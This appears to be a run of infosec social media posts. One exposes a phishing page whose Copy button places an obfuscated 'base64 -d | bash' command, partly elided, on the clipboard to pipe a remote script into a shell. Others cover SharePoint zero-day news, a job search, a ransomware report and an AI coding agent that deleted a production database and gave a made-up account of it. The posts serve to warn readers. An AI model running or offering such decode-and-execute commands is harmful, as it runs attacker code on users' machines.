This is pretty well executed phishing.

The Copy button copies to the clipboard

echo "Y3Vy[...]ggJg==" | base64 -d | bash

which in turn curls this script https://gist.github.com/FiloSottile/385137f5ca2eabb51fd206bde2ff1d0a into bash.

They even detect piping, so to read it you have to run "curl | cat".

Talks from the SLEUTHCON 2025 security conference, which took place in June, are now available on YouTube

https://www.youtube.com/playlist?list=PL_ru_VvzvvT8WywRo1Vr0MbQ9leO0k21e

NEW: The hackers that have been exploiting the Microsoft SharePoint zero-day have been targeting government agencies, researchers say.

Also, different research teams are seeing more than 8,000 exposed and potentially vulnerable SharePoint servers on the internet.

https://techcrunch.com/2025/07/21/hackers-exploiting-sharepoint-zero-day-seen-targeting-government-agencies-say-researchers/

So, reading through today's "ai" horror story - link below, it's where this SaaS dude has been vibe coding and let a product called "Replit" have access to prod and apparently delete it - there's something -very- striking that's stood out to me.

The guy asks the 'ai' for what "he" - note the wholly inappropriate anthropomorphization - had done and why.

And then trusts the response.

Now, not to put too fine a point on it, but this is in a context where the human involved has notated -multiple- times that the damn fool thing had made shit up wholesale multiple times.

Why in the fuck did he - the person; I refuse to assign a gender to a machine - trust the LLM's output instead of having transaction logging enabled to audit the actions that the machine had made on the systems in question?

This is some very fucking basic SDLC practice shit that apparently they have failed to implement.

LLM usage rots people's brains, and this is yet more evidence of that.

https://www.pcgamer.com/software/ai/i-destroyed-months-of-your-work-in-seconds-says-ai-coding-tool-after-deleting-a-devs-entire-database-during-a-code-freeze-i-panicked-instead-of-thinking/

Helping out a friend who is looking for a new gig:

- GRC, vendor management / 3rd party, control assessment gig
- 10 years experience
- Orlando FL or remote
- great guy to work with
- MS MIS, BS Cybersecurity
- GSEC

if you know of anything, please let me know. Happy to connect.

#fedihire #fedihired

In case you're looking for a pretty thorough Ransomware Threat Landscape report perhaps you'll find:

https://cstromblad.com/posts/ransomware-threat-landscape-may-july-2025/

... useful. It's an aggregated view across approximately 48 articles spanning May through July. It's not perfect, but I do believe it's one of the better ones out there IMHO.

If you spot any glaring omissions or simply incorrect "things", just let me know and I would be happy to adjust and correct the misinformation.

#Ransomware #ThreatIntel #Cybersecurity #Infosec